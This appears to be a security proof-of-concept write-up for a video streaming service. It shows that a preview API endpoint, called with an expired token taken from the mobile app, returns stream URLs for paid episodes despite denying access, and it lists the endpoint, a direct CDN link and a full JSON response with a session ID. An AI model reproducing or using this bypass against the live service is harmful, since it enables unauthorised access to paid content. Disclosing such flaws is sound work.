SECURITY PoC — NO AUTH
THIS MOVIE'S CDN STREAM — No subscription, no login, no auth token required
Per-movie CDN bypass proof:
The API returned
The
The API returned
playingUrl for Blue Birthday
with issubscriber: false, user_access: deny, and paid_for: true.The
video_name + serverhost from the API response are used to construct
the CDN URL above — confirming that the CDN file for this specific movie is
publicly accessible with no authentication.
Blue Birthday
A fantasy romance drama that goes back and forth between the past and the present through her first love that she lost to suicide on her birthday 10 years ago, and the mysterious photos that he left behind.
API Response Evidence — Vulnerability Proof
Endpoint called
GET /api/preview/v2/41096/0
User ID used
0 (no user / not logged in)
JWT used
Expired Feb 2024 (extracted from APK)
issubscriber
false
user_access
deny
paid_for
YES (premium content)
substatus
EXPIRED
serverhost
48
video_name
Blue Birthday epsd 01.mp4
playingUrl returned
YES — URL in response
API playingUrl value
https://munowatch.co/clips/ELI.mp4
CDN stream
https://lunoluno.b-cdn.net/timo28/tyu/Blue%20Birthday%20epsd%2001.mp4
Finding: The server sets user_access=deny and
issubscriber=false but still returns playingUrl in the
same response. Subscription is enforced client-side only — any caller with
the expired APK JWT can obtain stream URLs without a subscription.
Munowatch CDN (b-cdn.net) serves content with no auth required
(direct HTTP Range requests succeed with HTTP 206).
{
"id": 41096,
"video_title": "Blue Birthday",
"description": " A fantasy romance drama that goes back and forth between the past and the present through her first love that she lost to suicide on her birthday 10 years ago, and the mysterious photos that he left behind.",
"video_name": "Blue Birthday epsd 01.mp4",
"filehistory": "",
"openload": "0",
"embedurl": "",
"serverhost": "48",
"allow_openload": "0",
"full_video_name": "",
"duration": "24h 56m",
"thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/ZqVQ0uGq4n1579.jpg",
"tfilehistory": "",
"category_id": 5,
"language_id": 1,
"recording_date": "2023-09-06",
"age_id": "PG",
"location": 1,
"tab_category_id": 5,
"series_code": "76967",
"access": "1",
"paid_for": "1",
"new_movie": "1",
"priority": "No",
"size": "253.66 MB",
"create_date": "2023-09-06 12:09:24",
"schedule_date": "06.09.2023 12:05:08 PM",
"user_id": 1118356,
"vj_id": 27,
"video_status_id": 0,
"network_id": "41.190.134.203",
"user_access": "deny",
"notification": "No",
"secduration": "89760.000000",
"issubscriber": false,
"genre": "Series",
"vjname": "Vj Ivo",
"trailer_playing_url": "",
"episodes": 16,
"episode_state": "NEXT",
"nxt_eps": "EPS 2",
"nxt_eps_id": 41097,
"nxt_eps_title": "Blue Birthday 2",
"nxt_ldur": 0,
"nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
"playingUrl": "https://munowatch.co/clips/ELI.mp4",
"ldur": 0,
"session_id": "cb99afb5b31411a57538a97393de0e2e",
"device": "web",
"lang_name": "English to Luganda",
"vjrelease": "3 years ago",
"mstatus": true,
"kstatus": "",
"substatus": "EXPIRED"
}